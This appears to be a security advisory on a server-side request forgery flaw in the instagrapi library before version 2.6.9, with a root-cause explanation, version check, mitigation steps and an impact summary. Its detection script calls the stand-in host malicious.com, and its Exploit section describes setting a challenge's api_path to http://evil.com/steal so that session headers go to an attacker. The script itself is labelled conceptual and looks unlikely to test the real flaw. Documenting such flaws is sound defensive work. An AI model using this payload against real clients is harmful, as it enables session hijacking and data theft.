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The library version 2.6.9 and later fixed a Server-Side Request Forgery (SSRF) vulnerability present in earlier versions (before 2.6.9). The vulnerable component was the challenge-handling mechanism, where the library accepted server-supplied signup challenge paths and used them to build request URLs without validating that the paths were relative Instagram API endpoints. A malicious attacker could tamper with the server’s `api_path` field in a challenge response to point to an external URL. Because the library trusted this path without validation, it would then construct a request to the malicious server, inadvertently including the client’s existing session headers. This behavior is a classic example of insufficient validation of user-supplied input used in server-side requests. The root cause was a missing validation step for the `api_path` before it was appended to the base Instagram URL, allowing path traversal or redirection to arbitrary hosts. The attack vector is a compromised or malicious payload from a challenge server, turning the client into an unwitting participant in a request to an external site. The fix in version 2.6.9 introduces proper path validation before any URL construction occurs, ensuring that only relative Instagram API paths are used, thereby preventing external requests. This validation is applied during all phases of challenge resolution, including solving captchas, submitting phone/SMS forms, and building URLs.
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Platform: Instagrapi
Version: Before 2.6.9
Vulnerability: SSRF
Severity: High
date: 2026-05-23
Prediction: 2026-05-23 (2.6.9)
What Undercode Say:
This vulnerability highlights the dangers of insufficient input validation when interacting with external data. A well-crafted challenge payload could redirect internal requests, exposing sensitive authentication tokens. To detect vulnerable instances, you can use the following Python code to check the installed package version and simulate a malicious challenge path to see if the library attempts to resolve it:
Check installed instagrapi version
pip show instagrapi | grep Version
Example (conceptual) detection script to verify the vulnerability
python -c "
import instagrapi
from instagrapi import Client
cl = Client()
WARNING: This is a conceptual test and may not work as-is.
It demonstrates the lack of validation before version 2.6.9.
try:
cl._private_request('https://malicious.com')
print('Vulnerable: External request attempted.')
except:
pass
"
Exploit
An attacker would need to control the server response for a challenge flow (e.g., during signup or login). By modifying the `api_path` value in the JSON response to `http://evil.com/steal`, the client would build a URL to `http://evil.com/steal` and send the request, including the user’s session headers, to the attacker’s server.
Protection from this CVE
Immediate Action: Upgrade to instagrapi version 2.6.9 or later.
Implementation: Ensure all dynamic path values from external sources are validated against a whitelist of allowed relative paths before being used in URL construction.
Code Review: Look for any `urljoin` or similar functions that incorporate user input without strict validation.
Network Controls: Use network-level restrictions (e.g., egress firewalls) to limit outbound traffic to only known required hosts, mitigating the impact of an SSRF.
Impact
Successful exploitation allows an attacker to force the client application to make arbitrary HTTP requests to external servers, carrying the client’s Instagram session headers. This could lead to session hijacking, data theft, or using the client as a proxy for further attacks.
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Sources:
Reported By: github.com
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